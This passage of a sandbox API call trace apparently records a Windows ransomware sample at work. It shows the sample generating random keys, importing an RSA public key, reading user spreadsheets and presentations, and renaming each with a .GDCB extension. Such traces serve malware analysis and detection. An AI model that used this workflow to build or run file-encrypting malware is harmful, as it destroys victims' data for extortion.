dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.862] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.862] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0137.865] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a570) returned 1 [0137.865] CryptGetKeyParam (in: hKey=0x32a570, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.865] CryptEncrypt (in: hKey=0x32a570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.865] GetLastError () returned 0x0 [0137.865] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.865] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.867] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308d48) returned 1 [0137.867] CryptGetKeyParam (in: hKey=0x308d48, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.867] CryptEncrypt (in: hKey=0x308d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.867] GetLastError () returned 0x0 [0137.867] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.867] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7G4L9lsNnmIcN.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7g4l9lsnnmicn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.867] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.867] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.868] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x15dd6, lpOverlapped=0x0) returned 1 [0138.029] VirtualAlloc (lpAddress=0x0, dwSize=0x15de0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.034] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7G4L9lsNnmIcN.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7g4l9lsnnmicn.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7G4L9lsNnmIcN.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7g4l9lsnnmicn.xlsx.gdcb")) returned 1 [0138.035] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0138.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.036] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.036] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.036] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0138.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.036] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.036] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.036] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0138.038] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a6b0) returned 1 [0138.038] CryptGetKeyParam (in: hKey=0x32a6b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.038] CryptEncrypt (in: hKey=0x32a6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.038] GetLastError () returned 0x0 [0138.038] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.038] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.040] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cf28) returned 1 [0138.040] CryptGetKeyParam (in: hKey=0x34cf28, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.040] CryptEncrypt (in: hKey=0x34cf28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.040] GetLastError () returned 0x0 [0138.041] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CHQmRNcGe_.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\chqmrncge_.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.041] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.041] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.041] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x2cd6, lpOverlapped=0x0) returned 1 [0138.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.061] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CHQmRNcGe_.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\chqmrncge_.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CHQmRNcGe_.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\chqmrncge_.xlsx.gdcb")) returned 1 [0138.067] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0138.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.068] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.068] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.068] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed168) returned 1 [0138.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.069] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.069] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.069] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0138.069] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0138.071] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cd28) returned 1 [0138.071] CryptGetKeyParam (in: hKey=0x34cd28, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.071] CryptEncrypt (in: hKey=0x34cd28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.071] GetLastError () returned 0x0 [0138.071] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.071] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.073] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cda8) returned 1 [0138.073] CryptGetKeyParam (in: hKey=0x34cda8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.073] CryptEncrypt (in: hKey=0x34cda8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.074] GetLastError () returned 0x0 [0138.074] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.074] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F52 BWbPLjYuLmJ-w1.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f52 bwbpljyulmj-w1.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.074] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.075] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.075] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xbc6a, lpOverlapped=0x0) returned 1 [0138.092] VirtualAlloc (lpAddress=0x0, dwSize=0xbc70, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.096] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F52 BWbPLjYuLmJ-w1.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f52 bwbpljyulmj-w1.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F52 BWbPLjYuLmJ-w1.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f52 bwbpljyulmj-w1.pptx.gdcb")) returned 1 [0138.103] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.104] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.104] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.104] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0138.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.104] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.104] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.105] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0138.107] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cc28) returned 1 [0138.107] CryptGetKeyParam (in: hKey=0x34cc28, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.107] CryptEncrypt (in: hKey=0x34cc28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.107] GetLastError () returned 0x0 [0138.107] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.107] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.109] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34c8a8) returned 1 [0138.109] CryptGetKeyParam (in: hKey=0x34c8a8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.109] CryptEncrypt (in: hKey=0x34c8a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.109] GetLastError () returned 0x0 [0138.109] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.109] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\fDUISGbLgw.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fduisgblgw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.109] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.110] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.110] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xb02b, lpOverlapped=0x0) returned 1 [0138.347] VirtualAlloc (lpAddress=0x0, dwSize=0xb030, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.351] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\fDUISGbLgw.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fduisgblgw.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\fDUISGbLgw.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fduisgblgw.pptx.gdcb")) returned 1 [0138.352] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.353] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.353] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.353] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.353] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.353] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.353] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.353] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.354] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.357] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cd68) returned 1 [0138.357] CryptGetKeyParam (in: hKey=0x34cd68, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.357] CryptEncrypt (in: hKey=0x34cd68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.358] GetLastError () returned 0x0 [0138.358] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.358] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0138.360] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34c968) returned 1 [0138.360] CryptGetKeyParam (in: hKey=0x34c968, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.360] CryptEncrypt (in: hKey=0x34c968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.360] GetLastError () returned 0x0 [0138.360] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.360] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FfJVg4ausPebvr1q.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ffjvg4auspebvr1q.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.360] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.360] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.360] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x10de5, lpOverlapped=0x0) returned 1 [0138.370] VirtualAlloc (lpAddress=0x0, dwSize=0x10df0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.375] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FfJVg4ausPebvr1q.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ffjvg4auspebvr1q.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FfJVg4ausPebvr1q.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ffjvg4auspebvr1q.xlsx.gdcb")) returned 1 [0138.375] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.375] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.375] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.375] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.391] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0138.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.392] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.392] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0138.392] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.392] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0138.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.393] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0138.393] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.393] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0138.395] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34cde8) returned 1 [0138.395] CryptGetKeyParam (in: hKey=0x34cde8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.395] CryptEncrypt (in: hKey=0x34cde8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0138.395] GetLastError () returned 0x0 [0138.395] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.395] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.397] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34c9a8) returned 1 [0138.397] CryptGetKeyParam (in: hKey=0x34c9a8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.397] CryptEncrypt (in: hKey=0x34c9a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0138.397] GetLastError () returned 0x0 [0138.397] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.397] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\AprPk7nLlMxB0d4d.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\aprpk7nllmxb0d4d.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0138.397] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.398] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.398] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x10e59, lpOverlapped=0x0) returned 1 [0138.409] VirtualAlloc (lpAddress=0x0, dwSize=0x10e60, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.413] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\AprPk7nLlMxB0d4d.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\aprpk7nllmxb0d4d.xls"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\AprPk7nLlMxB0d4d.xls.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\aprpk7nllmxb0d4d.xls.gdcb")) returned 1 [0138.414] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0138.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.415] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0138.415] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.415] CryptAcquireContextW (in: 